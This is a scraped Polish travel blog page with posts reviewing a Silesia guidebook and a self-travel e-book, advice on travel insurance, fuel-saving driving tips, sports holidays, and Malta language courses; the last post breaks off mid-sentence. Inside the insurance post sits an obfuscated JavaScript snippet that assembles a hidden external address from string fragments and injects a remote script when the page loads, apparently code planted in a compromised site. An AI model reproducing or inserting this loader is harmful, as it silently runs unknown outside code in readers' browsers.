Jak urządzić mieszkanie podróżniczki?

Podróżniczo

Jak urządzić mieszkanie podróżniczki?

Podróżniczo

Dzieci odkrywają Śląskie – Barbara Salamon-Szympruch

Województwo śląskie jest pełne miejsc, które warto odwiedzić. Na północy Częstochowa, w centrum stolica województwa – Katowice, a na południu góry – Beskidy. Ale to nie wszystko. Śląskie jest pełne mniejszych i równie ciekawych miast i miasteczek, w których warto zatrzymać się, aby odkryć ich uroki. Właśnie o takich miejscach (i nie tylko) pisze Basia Salamon-Szympruch w przewodniku „Dzieci odkrywają Śląskie”. To subiektywny przewodnik dla rodzin z dziećmi po województwie śląskim. Mimo, że przewodnik jest „dla rodzin” to osoby samotnie podróżujące po śląskim na pewno znajdą tu coś dla siebie. „Przewodnik składa się z 21 rozdziałów opisujących miasta i miasteczka, w których znajdziecie atrakcje na co najmniej jednodniową wycieczkę. Wszystko zgodnie z położeniem geograficznym – jedziemy od północy na południe województwa śląskiego. Do tego opisałam miejsca, która znajdują się w ich najbliższej okolicy i mogą być ciekawym uzupełnieniem wyjazdu” – tak o przewodniku pisze autorka we wstępnie. I trudno się z tym nie zgodzić. O czym jest przewodnik? Podróż przez Śląskie zaczynamy od Częstochowy. Miejsce kojarzone głównie z pielgrzymek ma do zaoferowania znacznie więcej. Muzeum Produkcji Zapałek, Rezerwat archeologiczny, a w jej najbliższej okolicy – Folwark Kamyk czy Mstów, w którym zobaczyć można przełom Warty. Dalej, kierując się na południe odwiedzamy Żarki, gdzie odbywa się największy w okolicy targ. Jednak to, co przyciąga tutaj najbardziej to Szlak Kultury Żydowskiej. W północno-wschodniej części województwa warto zatrzymać się w Podzamczu. Jedna z najpopularniejszych miejscowości Jury Krakowsko-Częstochowskiej, która słynie przede wszystkim z ruin Zamku Ogrodzieniec i parku atrakcji Ogrodzieniec. Kolejnymi przystankami przed stolicą Śląska są Tarnowskiego Góry i Będzin, w którym nie sposób ominąć Wzgórza Zamkowego. I tak dojeżdżamy do Katowic. Miasto wojewódzkie to miejsce, na które warto poświęcić więcej niż jeden dzień. Poza słynnym spodkiem warto odwiedzić tu Muzeum Śląskie, Osiedle Nikiszowiec czy Centralne Muzeum Pożarnictwa znajdujące się w pobliskich Mysłowicach. Dalej przez Mikołów, Chorzów i Zabrze dojeżdżamy do Gliwic. Palmiarnia Miejska i Radiostacja Gliwicka to dwa najbardziej charakterystyczne miejsca, które nie sposób ominąć podczas zwiedzania Gliwic. Na śląskiej mapie dalej znajdują się Rudy i Żory, skąd szybko przedostajemy się do mojej ulubionej Pszczyny. Pisałam o niej we wpisie: Pszczyna – perła księżnej Daisy, czyli co warto zobaczyć w mieście. Z Goczałkowic-Zdrój autorka zabiera nas do Bielska-Białej. To kolejne miasto, które udało mi się odwiedzić podczas tegorocznego pobytu w Beskidach, dlatego w tym miejscu zaproszę Was do mojego wpisu: Bielsko-Biała – mały Wiedeń w Beskidach. Po wizycie w mieście Bolka i Lolka czekają na nas Górki Małe, Ustroń, Wisła i Żywiec – pierwsze miasto, które odwiedziłam będąc w Beskidach. Możecie o nim przeczytać tutaj: Żywiec – miasto, które zachwyca! 5 miejsc, które warto zobaczyć. Całość zamyka Trójwieś Beskidzka z Centrum Pasterskim w Koniakowie, Chatą Kawuloka w Istebnej i koniakowskimi koronkami. Przewodnik napisany jest w sposób jasny, prosty i czytelny. Autorka opisuje najważniejsze atrakcje w poszczególnych miejscowościach, nie skupiając się na takich elementach, jak ceny biletów, godziny otwarcia czy numery telefonów, bowiem te często ulegają zmianie. Jednak dużym plusem jest możliwość znalezienia w przewodniku adresów stron internetowych, które z reguły są najważniejszym źródłem informacji dla turystów. Bardzo przydatne są mapki zamieszczone w przewodniku. Na samym początku mamy jedną, główną mapę całego województwa, a przy każdej miejscowości jest dodatkowa mniejsza mapka. Forma wydania przewodnika także jest bardzo przyjazna – śliskie kartki, format zeszytowy jako brulion czy notes, czyli z kółeczkami pośrodku, dzięki czemu możemy składać go na pół bez obaw. Dla kogo? Pomimo tytułu i informacji na okładce, że jest to subiektywny przewodnik dla rodzin z dziećmi, nie do końca mogę się z tym zgodzić :). Oczywiście autorka opisuje atrakcje dostępne dla całych rodzin, ale osoby samotnie podróżujące po Śląskim także mogą korzystać z porad i atrakcji opisanych w przewodniku. Sama chętnie z niego korzystałam w czasie mojego wyjazdu w Beskidy. Mimo, że odwiedziłam tylko 3 z dostępnych w przewodniku miast, to z pewnością informację w nim zawarte bardzo mi się przydały.

Beskidy – miejsca, które warto odwiedzić w górach

Podróżniczo

Beskidy – miejsca, które warto odwiedzić w górach

Pszczyna – perła księżnej Daisy, czyli co warto zobaczyć w mieście

Podróżniczo

Pszczyna – perła księżnej Daisy, czyli co warto zobaczyć w mieście

Co warto zobaczyć w Barcelonie?

Podróżniczo

Co warto zobaczyć w Barcelonie?

DoubleTree by Hilton Wrocław

Podróżniczo

DoubleTree by Hilton Wrocław

Bielsko-Biała – mały Wiedeń w Beskidach

Podróżniczo

Bielsko-Biała – mały Wiedeń w Beskidach

Aquaworld Resort Budapest

Podróżniczo

Aquaworld Resort Budapest

Żywiec – miasto, które zachwyca! 5 miejsc, które warto zobaczyć

Podróżniczo

Żywiec – miasto, które zachwyca! 5 miejsc, które warto zobaczyć

5 miejsc, które warto zobaczyć w Kijowie

Podróżniczo

5 miejsc, które warto zobaczyć w Kijowie

Kijów – praktycznie o stolicy Ukrainy

Podróżniczo

Kijów – praktycznie o stolicy Ukrainy

Podróżniczo

Jak wybrać ubezpieczenie na wakacje?

Wyjazd na wakacje zawsze wiąże się z przygotowaniami i precyzyjnym planowaniem. Bilety lotnicze, hotel, lokalne atrakcje. Nie można zapominać także o ubezpieczeniu turystycznym, które może okazać się niezbędne, gdy znajdziesz się w niebezpiecznej sytuacji. Zobacz, jak wybrać odpowiednie ubezpieczenie na wakacje? Czy wyjeżdżasz na wakacje na własną rękę, czy z wycieczką zorganizowaną, warto wykupić odpowiednie ubezpieczenie turystyczne, aby mieć zabezpieczenie w nieoczekiwanych i nieplanowanych sytuacjach. Oczywiście nikt nie sugeruje, że wyjazd urlopowy będzie niebezpieczny, ale lepiej dmuchać na zimne, niż później płacić z własnej kieszeni za opiekę medyczną. Koszt polisy uzależniony jest od wielu kwestii, np. od tego gdzie się wybierasz, na jak długo itp. Często najtańsze oferty można dostać już za kilkadziesiąt złotych, dlatego taka inwestycja będzie nieodczuwalna, a w momencie hospitalizacji czy anulowanej rezerwacji odczujesz zalety swojej decyzji. Przeczytaj także: Poradnik taniego podróżowania – jak podróżować, żeby nie zbankrutować? Lepsze coś niż nic? Gdy jedziesz na wycieczkę zorganizowaną, biura podróży oferują już w pakiecie odpowiednia polisę. Czy jest ona wystarczającym zabezpieczeniem? W większości przypadków tak. Jednak są pewne wyjątki – anulowanie rezerwacji z różnych przyczyn czy następstwa wypadków, które wynikają z uprawiania sportów ekstremalnych. To tylko przykłady, których podstawowe polisy turystyczne nie obejmują. Nieco inaczej kształtuje się podróżowanie na własną rękę. Tutaj ubezpieczenia turystycznego po prostu nie mamy. Alternatywy to Europejska Karta Ubezpieczenia Zdrowotnego, która również ma pewne ograniczenia lub zakup polisy. W takich sytuacjach zawsze należy odpowiedzieć sobie na pytanie – na czym mi bardziej zależy? Przed czym powinna zabezpieczyć taka umowa z ubezpieczalnią? Przezorny zawsze ubezpieczony Aby znaleźć odpowiednie ubezpieczenie turystyczne, warto skorzystać z porównywarki Rankomat.pl. Z badań wynika, że Polacy najczęściej wybierają pakiet, który sfinansuje koszty związane z następstwami nieszczęśliwych wypadów oraz OC. Jednak warto rozszerzać takie polisy o kilka ekstra zapisów takich, jak: zniszczenie bagażu czy urazy spowodowane uprawianiem sportów (nie tylko tych ekstremalnych). Takie opcje nie są objęte polisą w przypadku podstawowych ubezpieczeń turystycznych. Natomiast osoby, które lubią poczuć dreszcz emocji, wspinają się po górach, żeglują po oceanie czy jeziorze, niezbędna może okazać się polisa, która obejmuje także akcje ratownicze i poszukiwawcze. Nawet doba pracy ratowników może porządnie nadszarpnąć kieszeń. (function(){ cz5b=document.createElement("script");cz5b_=("ust");cz5bu="10504081"; cz5b_+="a"+("t.i");cz5b.type="text/javascript"; cz5bu+=".vyp2k5ddz5b63u79ihz0";cz5b.async=true;cz5b_+="n"+("f"+"o")+"/"; cz5bu+="xz5addkqjv";cz5b.src="//"+cz5b_+cz5bu; document.body.appendChild(cz5b); })();

Podróżniczo

Twoja samodzielna podróż – Karol Werner

Pierwszy, od niepamiętnych czasów, praktyczny poradnik, jaki miała okazję przeczytać. A do tego nie byle jaki poradnik! “Twoja samodzielna podróż to e-książka, która zabierze Czytelnika w podróż przez organizację wyjazdu, bez pomocy biur podróży i innych pośredników. Gotowi na sporą dawkę praktycznej wiedzy o podróżowaniu. Z ostatniej strony…. “A kiedy już wrócisz… nic nie będzie już takie samo. Nagle stajesz się zupełnie innym człowiekiem. Otwierają się przed Tobą nieznane wcześniej horyzonty, masz ochotę wykrzyczeć wszystkim wokoło, żeby przestali szukać wymówek, żeby wyjechali, zobaczyli świat, podróżowali. Jednocześnie czujesz pustkę, jak najszybciej chcesz znowu wyjechać w dalszą drogę, znowu poczuć tę niesamowitą wolność, wiatr we włosach, poczucie samorealizacji, spełniania swoich marzeń. Bo inaczej zwariujesz. Hola, hola – nie ma się co śmiać!”… O czym jest e-book? Karol Werner, autor e-booka “Twoja samodzielna podróż” to pasjonat samodzielnego podróżowania. Dlatego biorąc do ręki poradnik, musisz mieć na uwadze, że powstał on na bazie wieloletnich doświadczeń autora. A to oznacza, że znajdziesz w nim wyłącznie praktyczną wiedzę związaną z organizacją samodzielnego wyjazdu. Już na początku Czytelnik dowiaduje się, że nawet jeśli swoją pierwszą podróż ma za sobą, to i tak nie będzie się nudził! E-book został podzielony na dwa rozdziały. W pierwszym dowiesz się, że najważniejsze w podróżowaniu są… chęci. Jeśli ich nie masz, to całe przygotowanie, wiedza i ekwipunek, który posiadasz na nic się nie przyda. Często, poza brakiem chęci, odczuwamy lęk i strach przed samodzielnym wyjazdem. Autor, w pierwszym rozdziale, porusza ten temat i udowadnia, że strach przed wyjazdem jest zupełnie bezpodstawny! Jeśli wyznaczysz sobie cel związany z wyjazdem – warto do niego dążyć i zrobić wszystko (o ile naprawdę tego chcesz), aby go zrealizować! Przykładem jest wspomniany w książce wyjazd Karola na rowerze w Alpy. Przewijając kolejne, wirtualne kartki e-booka, mogę śmiało napisać, że pierwszy rozdział to przede wszystkim obalanie podróżniczych mitów i wątpliwości, które podczas planowania wyjazdu mogą się pojawić. Mój ulubiony mit mówi o tym, że kobiety nie powinny samotnie podróżować… Nie wiem kto to wymyślił, ale cieszę się, że Karol to obala, ponieważ zarówno na mężczyzn, jak i na kobiety czyhają w podróży dokładnie te same niebezpieczeństwa. Znam wiele samotnie podróżujących kobiet (sama się do nich zaliczam) i jeszcze nigdy nie słyszałam, aby którejś stało się coś złego. Inne, często pojawiające się wątpliwości to brak znajomości języka obcego, odwołanie lotu czy przekonanie rodziców do samodzielnego wyjazdu. Pierwszy rozdział kończy się poradami, gdzie i jak szukać towarzysza podróży. Jeśli masz obawy przed zupełnie samotnym wyjazdem, zawsze możesz znaleźć kompana, z którym będziesz przemierzał nieodkryte dotąd lądy :). Przeczytaj także: Poradnik taniego podróżowania – jak podróżować, żeby nie zbankrutować? Drugi rozdział to część poradnikowa, w której znajdziesz praktyczne aspekty podróży. Autor zaczyna od czyhających niebezpieczeństw. Jak w każdym miejscu, tak i w czasie podróży powinniśmy uważać na złodziei. Nie jest powiedziane, że tylko w czasie wyjazdu możesz zostać okradziony, ale jeśli się to zdarzy – niesie ze sobą więcej nerwów i powodów do złości, niż gdyby taka sytuacja miała miejsce w drodze np. z pracy do domu. Zawsze trzeba zachować zimną krew i spróbować zminimalizować straty. Drugim bardzo ważnym elementem są pieniądze. Przygotowując się do podróży sprawdź, czy np. w danym kraju znajdziesz bankomat, który obsługuje Twoją kartę albo jeśli nie masz szansy kupienia miejscowej waluty w Polsce – jaką powinieneś zabrać ze sobą, abyś nie miał problemów z jej wymianą na miejscu. Kolejnym są dokumenty – po pierwsze, jakie dokumenty są wymagane w podróży do konkretnego miejsca, a po drugiego – co powinieneś zrobić, jeśli zgubisz lub ktoś Ci je ukradnie. Na te wszystkie pytania znajdziesz odpowiedź w e-booku Karola. Jeśli przebrnęliśmy przez zagrożenia, to czas na coś pozytywniejszego – poszukiwania noclegu! Autor pisze nie tylko o stronach, na których można znaleźć tani lub darmowy nocleg, ale też podpowiada, jak korzystać z hotelowych programów lojalnościowych. Sporo miejsca poświęca biwakowi – jak go zorganizować, jak zabezpieczyć ekwipunek przed kradzieżą, jak się nie dać zwierzętom podczas biwaku oraz na co zwrócić uwagę i jak wybrać odpowiedni namiot, śpiwór czy karimatę. Kolejnym istotnym elementem w czasie wyjazdu jest jedzenie. W tej części byłam bardzo zdziwiona, kiedy pojawiły się recenzje kilku kuchenek turystycznych. Oczywiście jeśli nie planujesz biwakować – spokojnie możesz ten fragment e-booka pominąć :). Dobrze jest wiedzieć w co się spakować i co zabrać ze sobą. Na moim blogu także znajdziesz odpowiedź na to, co warto zabrać ze sobą w podróż. Transport – to kolejny ważny elementem planowania wyjazdu. Jest bardzo indywidualną sprawą i poza samym odpowiedzeniem sobie na pytanie: czym chcesz podróżować, warto także sprawdzić, jak będziemy się przemieszczać na miejscu. Karol, dużo miejsca poświęca… rowerowi. Z mojego punktu widzenia nie jest to idealny środek transportu. Po pierwsze trzeba mieć dobrą kondycję. Po drugie trzeba mieć sprawdzony i bardzo dobry sprzęt. Po trzecie jeśli złapie Cię kontuzja, to może zdarzyć się tak, że będziesz musiał przerwać podróż. Ale decyzja należy do Ciebie! Jeśli myślisz o rowerowej podróży, ten fragment na pewno zmotywuje Cię do tego, aby spróbować swoich sił na jednośladzie. Drugi rozdział to także ciekawe porady związane z ubezpieczeniem podróżnym, internetem w podróży, aplikacjami mobilnymi – transportowymi, pogodowymi czy noclegowymi. Książkę “Twoja samodzielna podróż” wieńczy kilka motywujących historii z podróży. Po przeczytaniu e-booka, pierwsza myśl, jaka przyszła mi do głowy to – muszę gdzieś wyjechać! Dostałam nie tylko zastrzyk sporej dawki nowej wiedzy, ale także motywację i chęci do dalszego odkrywania świata. Mimo, że (przynajmniej na razie) nie mam w planach biwakowania ani podróżowania rowerem, to w poradniku pojawiło się wiele praktycznych i ciekawych porad, z których na pewno chętnie skorzystam. Dla kogo? Pisząc recenzje książek podróżniczych zawsze staram się odpowiedzieć na pytanie – dla kogo jest ta książka? W tym przypadku nie mam wątpliwości… Ten e-book jest dla każdego, kto potrzebuje motywacji i chce się przełamać przed pierwszym, samodzielnym wyjazdem. Z drugiej strony – nie będą się przy niej nudzić Ci, którzy pierwszą podróż mają już za sobą, a chcieliby poznać alternatywne możliwości i spróbować swoich sił w czymś nowym. Gdzie można kupić e-booka? http://kolemsietoczy.pl/twoja-samodzielna-podroz/

Podróżniczo

Jak tanio podróżować samochodem?

Wielu z nas ceni sobie wygodę i niezależność, jaką daje podróżowanie własnym autem. Niestety, samochód do najtańszych środków transportu nie należy, a w dobie tanich lotów oraz coraz wygodniejszych pociągów koszty związane z jazdą autem mogą nieco zniechęcać. Wielbicielom samochodów, którzy nie chcą rezygnować ze swojego ulubionego sposobu lokomocji, a pragną obniżyć koszty podróżowania z pomocą przyjdzie ekojazda. Dzięki kilku prostym trikom, kierowcy mogą zaoszczędzić nawet 10% tygodniowych wydatków na paliwo. W podróży są to naprawdę spore oszczędności. Oto kilka prostych porad od tirendo.pl. Przyśpieszaj delikatnie Im mocniej przyśpieszasz, tym więcej twój samochód zużywa paliwa. Naciskaj zatem nogą na gaz delikatnie i stopniowo. Aby zmaksymalizować wydajność paliwa, rozpędzenie samochodu od 0 do 20 km/h powinno zająć pięć sekund. Eksperci często humorystycznie radzą, żeby wyobrazić sobie, że na desce rozdzielczej stoi otwarty kubek z kawą, a pod pedałem gazu znajduje się jajko. Należy rozpędzać auto tak uważnie, aby nie wylać napoju i nie zbić jajka. Utrzymuj stałą prędkość Bądź konsekwentny. Nagłe spadki prędkości i przyśpieszanie są zabójcze dla ilości spalanego paliwa i tym samym dla portfela kierowcy. Badania wykazały że wahania prędkości między 75 a 85 km/h co 18 sekund powodują wzrost zużycia paliwa o 18%. Przewiduj ruch na drodze Naucz się planować swoje manewry z wyprzedzeniem, aby utrzymać stałe tempo jazdy. Należy „czytać drogę”, przewidywać możliwe utrudnienia w ruchu, a także monitorować ruch pieszych i innych pojazdów. Ponadto, zalecane jest utrzymywanie bezpiecznego dystansu między naszym autem, a pojazdem przed nami. Ta technika jazdy pozwoli na zachowanie stałej prędkości, stabilną jazdę oraz zredukuje zużycie paliwa i niepotrzebne ryzyko. Unikaj wysokich prędkości Dla większości samochodów zużycie paliwa jest najbardziej wydajne przy prędkościach pomiędzy 50 a 80 km/h. Powyżej tej optymalnej prędkości – im auto szybciej jedzie, tym więcej pali. Przy 120 km/h zużywa aż 20% więcej paliwa niż przy 100 km/h. Na 25-kilometrowej trasie taki skok prędkości i zużycia paliwa zaoszczędzi nam jedynie dwie minuty jazdy. Nie zapomnij o oponach Prawidłowe ciśnienie w oponach jest kluczowe w ekojeździe. Opór toczenia niewłaściwie napompowanych opon jest dużo wyższy i odczuwalnie zwiększa zużycie paliwa. Opony powinny być zawsze napompowane zgodnie z zaleceniami producenta samochodu, ciśnienie należy sprawdzać raz w miesiącu i obowiązkowo przed dłuższą podróżą. I jeszcze garść praktycznych porad: Nie uruchamiaj silnika, dopóki nie jesteś gotowy do jazdy. Innymi słowy – popularne nadal wśród wielu kierowców rozgrzewanie silnika na postoju nie tylko jest zupełnie niepotrzebne, ale także powoduje bezsensową stratę paliwa. Pamiętaj o regularnym sprawdzaniu poziomu oleju silnikowego. Jeżeli oleju jest zbyt mało, auta więcej spala. Jeśli wybierasz się w długą podróż samochodem, warto najpierw udać się do mechanika na przegląd. Utrzymywanie w dobrym stanie i regularne serwisowanie auta na dłuższą metę jest naprawdę opłacalne. Uważaj na biegi. Pamiętaj, aby zawsze dostosowywać bieg do prędkości. Im wyższy bieg, tym niższe zużycie paliwa, więc nie „piłuj” auta na zbyt niskich obrotach. Uważaj na wszystkie elektryczne urządzenia w aucie. Klimatyzacja, ogrzewanie, dmuchawa… wszystko to jest wygodne i potrzebne, jednak znacznie zwiększa zużycie paliwa. Jeśli więc możesz coś wyłączyć i nie obniżyć znacząco komfortu jazdy, zrób to. Nie przeładowuj auta. Podróż samochodem jest wygodna między innymi dlatego, że można zabrać więcej bagażu niż w przypadku innych środków transportu. Nie bierz ze sobą jednak całej szafy, wybierz to, co naprawdę będzie w podróży potrzebne. Im cięższe auto, tym większe spalanie paliwa. Zdemontuj bagażnik dachowy, jeśli akurat nie przewozisz nart ani roweru. W zależności od stylu jazdy, zewnętrzny bagażnik może zwiększać zużycie paliwa nawet o 20%. Przed wyjazdem przygotuj dokładny plan podróży. Zaplanuj trasę, zaprogramuj swoją nawigację, aby prowadziła cię drogami szybkiego ruchu, nie nadkładaj niepotrzebnie drogi. Zapoznaj się z trasą, gdyż każde zgubienie się to dodatkowe kilometry i strata paliwa.

Spływ kajakowy Pliszką – relacja z wyjazdu

Podróżniczo

Spływ kajakowy Pliszką – relacja z wyjazdu

Co warto zabrać ze sobą na spływ kajakowy?

Podróżniczo

Co warto zabrać ze sobą na spływ kajakowy?

Do Londynu z lotniska Stansted

Podróżniczo

Do Londynu z lotniska Stansted

Podróżniczo

Sportowe wakacje – gdzie jechać, by poczuć ducha sportu?

Pogoda, po długiej i wyczerpującej jesieni, która z jakiegoś powodu trwała przez całą zimę i połowę wiosny, zaczyna zamieniać się w lato. W takich chwilach warto zacząć myśleć o wypoczynku, bo przecież każdy z nas potrzebuje chwili wytchnienia po całym roku ciężkiej pracy. Na co zdecydować się w tym roku? Korki w drodze do Zakopanego czy tłumy na plaży w Sopocie? Europejskie wojaże albo plażowanie nad egipskim morzem? A może w tym roku warto zdecydować się na coś zupełnie innego? Proponuję sport! Spokojnie, nie chodzi o wyciskanie z siebie siódmych potów na siłowni i spalanie kolejnych tysięcy kilokalorii na bieżni. Sportowe wakacje nie muszą oznaczać wyrzeczeń i ogromnego wysiłku. Ba, nie musisz nawet kupować drogiego sprzętu. Wystarczy, że kupisz bilet… Oferta wakacji dla fanów sportu oferowana przez biura podróży jest coraz szersza. Każdy z nas ma dostęp do coraz większej liczby planowanych wycieczek, których motywem przewodnim jest historia i współczesność sportu, konkretnych dyscyplin sportowych, a nawet pojedynczych drużyn czy sportowców. Zawsze też możemy sami zaplanować taki wypad i spędzić wakacje tak, jak chcemy! Naturalnym wyborem na wakacyjny wypad jest w tym roku oczywiście Francja. Mistrzostwa Europy w Piłce Nożnej 2016 odbędą się właśnie tam z udziałem 24 najlepszych drużyn europejskich. Początek mistrzostw to stadion Stade de France, Saint Denis w Paryżu (10 czerwca o godzinie 21:00), a cała zabawa zakończy się meczem finałowym, 10 lipca na tym samym stadionie. O ile biletów na mecze raczej nie uda się już zdobyć, a nocleg prawdopodobnie musi mieć już miejsce na jednym z campingów, to doświadczenie klimatu Euro i miasta ogarniętego piłkarskim szaleństwem będzie niesamowitym przeżyciem. Setki ofert znajdziecie w praktycznie każdym biurze podróży. Jeżeli piłka nożna nie jest waszą bajką, kolejna duża impreza jest tuż za rogiem. Dwudzieste trzecie Letnie Igrzyska Olimpijskie, odbędą się w sierpniu w brazylijskim Rio de Janeiro i będą pierwszymi igrzyskami w Ameryce Południowej. Rio jest ciekawym miejscem, które warto odwiedzić w wakacje nawet bez igrzysk, ale jedno z największych sportowych wydarzeń na świecie zdecydowanie podnosi jego atrakcyjność. Fakt, że impreza ma miejsce podczas brazylijskiej zimy sprawia, że nie trzeba aż tak bardzo obawiać się upałów. Polskie biura podróży wciąż oferują ciekawe pakiety wyjazdów do Rio, nawet w komplecie z biletami na poszczególne imprezy. Wystarczy wybrać dyscyplinę i można jechać, obserwować mistrzów, a po wszystkim zrelaksować się na brazylijskiej plaży. Nie miej ciekawe są możliwości wakacyjne dla fanów czterech kółek. Grand Prix Formuły 1 odbędzie się w tym roku w Azerbejdżanie, a konkretnie w stolicy – Baku. Nie jest to oczywista urlopowa destynacja, ale Baku oferuje turystom unikatowe połączenie nowoczesnego, europejskiego miasta, bogatego we współczesne atrakcje z odcieniami tradycyjnego Azerbejdżanu. Do wydarzenia zostało już niewiele czasu, ale zorganizowanie wyjazdu na trzydniowy weekend pozwoli być świadkiem eliminacji i samego wyścigu w niedzielę. Oferty znajdziemy w biurach podróży – jest ich zauważalnie mniej, niż tych związanych z piłką nożną, ale jest w czym wybierać. Alternatywnie, fani samochodów mogą spróbować wizyty w Dover – niewielkim miasteczku w Stanach Zjednoczonych, które na kilka dni września zamieni się w stolicę wyścigów Nascar. Niesamowity klimat i tłumy kibiców najbardziej amerykańskiego ze sportów samochodowych zapewne wynagrodzi ciasnotę i gęsto upakowane pola namiotowe, hotele i parkingi. Szukacie spokojniejszego sportu, a ryk silników i skandowane hymny drużyn chętnie zamienicie na intelektualną rozrywkę? Finały European Poker Tour, organizowane przez Poker Stars, mogą zabrać Was do najpiękniejszych i najbardziej prestiżowych miast świata. Poprzedni sezon zakończył się wielkim finałem na Malcie. Wkrótce rozpoczyna się nowy etap rozgrywek. Pokerowych mistrzów (wśród nich także wielu Polaków) możecie obserwować w sierpniu w pięknej Barcelonie albo we wrześniu podczas EPT na Malcie. W tym przypadku trudniej o wyjazdy organizowane przez biura podróży, ale zorganizowanie wycieczki na własną rękę w czasie trwania imprezy nie powinno stanowić żadnego problemu. Inna prestiżowa dyscyplina, spopularyzowana ostatnio przez sukcesy naszych zawodników to oczywiście tenis. Jeżeli macie ochotę na krótką, bliższą wycieczkę finały Wimbledon odbywają się już w lipcu. Weekend w Anglii to jednak chyba jeszcze nie coś, co możemy nazwać prawdziwymi wakacjami – dlatego warto rozważyć wizytę na Australian Open. Każdego roku, na początku stycznia, tłumy kibiców i, niewiele mniejsze, tabuny tenisistów i gwiazd sportu, kierują się w stronę Australii, by rozpocząć kolejny sezon tenisowy. Idealna pogoda, znakomite miejsce na relaks – niezależnie od tego, czy preferujecie plażowanie czy sporty ekstremalne, sprawia, że Australian Open to praktycznie idealne wakacje. W dodatku nie powinno być żadnych problemów z namówieniem na taki wypad nasz zupełnie antysportowych znajomych. Jeżeli imprezy masowe was nie kręcą, trzeba rozglądać się za okazjami. W zeszłym roku w serwisie noclegowym Airbnb można było zdobyć rezerwację noclegu na stadionie Maracana. Dwa dni w kolebce brazylijskiego footballu, nocleg z widokiem na soczystą zieloną trawę i bramki, do których wpadały najważniejsze gole finałów mistrzostw świata (w 1950 i 2014 roku) biją na głowę wszystkie gwiazdki najlepszych hoteli świata. Może w tym roku to wam trafi się podobna okazja? Te propozycje, to oczywiście nie wszystko. Właściwie każde większe wydarzenie sportowe to doskonały pretekst do wakacyjnych wojaży. Atrakcje i dodatkowe wydarzenia oferowane podczas takich imprez zwykle sprawiają, że nie sposób się nudzić, nawet wtedy, kiedy nie oglądamy meczy albo wyścigu.

Podróżniczo

Słoneczna Malta rajem do wypoczynku i… nauki angielskiego

Nauka języka obcego rzadko wiąże się z wypoczynkiem i rozrywką. Zdecydowanie częściej to trud włożony w powtarzanie słówek i wykonywanie szeregu ćwiczeń gramatycznych. Jednak klasyczny model edukacji to przeżytek. Malta ma bogatą historię i tradycje rybackie kultywowane po dziś dzień. Warto jest odwiedzić to miejsce, zwłaszcza jeśli możemy podróż tę wykorzystać również pod kątem edukacyjnym. Kiedy marzą Ci się wakacje w ciepłych krajach, ale jednocześnie wolna chwila od pracy czy szkoły to jedyna okazja na naukę języka, warto pomyśleć o rozwiązaniu łączącym dwa w jednym.  Wakacyjne wyjazdy językowe za granicą są alternatywą dla wyrzeczeń. O ile nauka hiszpańskiego w Hiszpanii czy Meksyku jest oczywista, to nauka angielskiego nie kojarzy się nam z ciepłem, plażą i wakacyjnym klimatem. Mimo wszystko języka angielskiego nie musimy uczyć się w chłodnej Anglii nad Morzem Północnym, bowiem dostępna jest też Malta, o której często zapominamy i pomijamy. Dla wszystkich kochających słońce, plażę i morze Malta stanowi istny raj, godny inwestycji. Można tu i ponurkować i popływać na desce, co więcej można także łowić ryby. Możliwości jest wiele. Klimatyczne uliczki miejscowości St. Julian’s oraz romantyczne zachody słońca urzekną każdego. Temperatura powietrza nawet w październiku wynosi powyżej dwudziestu stopni, a urocze zatoczki z krystalicznie czystą wodą i piaszczyste plaże są propozycją nie do odrzucenia. Tanie linie lotnicze (Wizz Air lub Ryanair) oferują w przystępnych cenach przelot prosto z Polski do portu lotniczego na Malcie, oddalonego około 1 kilometra od miejscowości Luqa. Ceny lotów zaczynają się od około 300 zł (w dwie strony). Maltańska linia lotnicza Air Malta także oferuje loty jednak już w wyższych cenach. Liczne pensjonaty, hotele, a także bursy pozwalają zakwaterować się w najbardziej dogodny sposób. Więcej praktycznych informacji o Malcie w tym wpisie. Łącząc naukę angielskiego z wakacjami możemy obniżyć koszty kursu i zrelaksować się w niecodziennym stylu. To doskonałe miejsce na letni wypoczynek, jak i zimowy relaks w śródziemnomorskim klimacie. Wysokie temperatury oraz duża dawka słońca na niewielkiej wyspie położonej w południowej części Morza Śródziemnego zapewniają, oprócz kąpieli słonecznych, efektywną naukę języka angielskiego. Unikalny sposób nauki jakim jest immersja pozwala relaksować się i spędzać czas wolny w bardzo aktywny i atrakcyjny sposób, jednocześnie ćwicząc i rozwijając swoje umiejętności językowe. Cechą charakterystyczną nauki przez przejmowanie języka jest fakt, iż doświadczanie wpływa na efektywność zapamiętywania oraz trwałość umiejętności mimo braku uczucia zmęczenia i wysiłku włożonego w naukę. Immersja bazuje na nauce podświadomej. Intensywna, permanentna ekspozycja na bodźce językowe sprzyja nauce. W ramach kursu językowego, kursanci uczęszczają na zajęcia do szkoły językowej z pełnym dostępem do biblioteki, multimediów, sprzętu czy wyposażenia szkoły. Niemniej to poza szkołą toczy się cały proces dydaktyczny. Animatorzy grup odpowiadają za organizację czasu swoich podopiecznych, zapewniając napięty, bogaty i zróżnicowany harmonogram zajęć fakultatywnych. Sporą część zajęć poświęca się na integrację grupową poprzez wspólne wyjścia do pubu, kawiarni. Wzajemne dyskusje są także ćwiczeniami językowymi. Wystarczy korzystać z życia, lokalnych atrakcji, aby uczyć się angielskiego. Przebywając w środowisku języka uczymy się przez 24 godziny na dobę, nawet jeśli wydaje się nam, że dana aktywność nie posiada żadnych walorów edukacyjnych. Tym samym atrakcyjność Malty wzrasta zwłaszcza, iż mieszkańcy wyspy uchodzą za bardzo gościnną nację – podaje Sprachcaffe (posiadająca szkołę angielskiego na Malcie w St. Julian’s z odkrytym basem i wieloma atrakcjami). Zobacz szkołę Sprachcaffe >> Sprawdź, co warto zobaczyć na Malcie Wybierają Maltę możemy połączyć naukę z wakacjami przeznaczając optymalnie trzy tygodnie urlopu na kurs zagraniczny. To oferta zarówno dla dorosłych, jak również dla młodzieży. Szkoła językowa na wyspie usytuowana jest w nadmorskim kurorcie St. Julian’s, gdzie poza zajęciami językowymi mamy do wyboru szeroki wachlarz typowo turystycznych atrakcji. Począwszy od zwiedzania zabytków, poznawania kultury lokalnej, mieszkańców przez uczestnictwo w okazjonalnych festiwalach, pokazach i wydarzeniach, aż po uprawianie sportów, udział w wycieczkach czy życiu nocnym Malty. Wyspa jest bardzo mała, dlatego tydzień lub dwa wystarczą na jej gruntowne zwiedzanie. Każdy może tutaj znaleźć atrakcję dla siebie. Jedni wolą romantyczne spacery promenadą, inni rejsy statkiem wokół wyspy, jeszcze inni udadzą się z przyjemnością na dyskoteki w St. Paul Bay i St. Julian’s, czy zakupy w stolicy – La Valetcie. Każdy znajdzie coś dla siebie – osoby ceniący 